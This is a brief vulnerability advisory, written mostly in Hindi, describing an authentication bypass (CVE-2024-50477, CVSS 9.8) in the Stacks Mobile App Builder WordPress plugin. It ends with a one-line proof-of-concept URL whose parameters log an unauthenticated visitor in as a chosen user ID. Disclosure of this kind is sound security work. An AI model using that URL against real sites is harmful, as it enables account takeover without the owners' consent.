CVE-2024-50477

Stacks Mobile App Builder <= 5.2.3 - खाता अधिग्रहण द्वारा प्रमाणीकरण दरकिनार

विवरण:

Stacks Mobile App Builder – वर्डप्रेस के लिए सबसे शक्तिशाली मोबाइल एप्लिकेशन ड्रैग एंड ड्रॉप बिल्डर प्लगइन, संस्करण 5.2.3 तक (और इसमें शामिल) सभी संस्करणों में प्रमाणीकरण दरकिनार की कमजोरी से ग्रस्त है। यह इस तथ्य के कारण है कि प्लगइन receive_request_checkout() फ़ंक्शन के माध्यम से उपयोगकर्ता को प्रमाणित करने से पहले उपयोगकर्ता की पहचान को ठीक से सत्यापित नहीं करता है। इससे अनप्रमाणित हमलावरों के लिए किसी भी उपयोगकर्ता (उपयोगकर्ता आईडी के आधार पर) के रूप में लॉग इन करना संभव हो जाता है।

Published: 2024-10-25 00:00:00
CVE: CVE-2024-50477
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 9.8
Slugs: stacks-mobile-app-builder

POC

http://kubernetes.docker.internal/?mobile_co=1&uid=1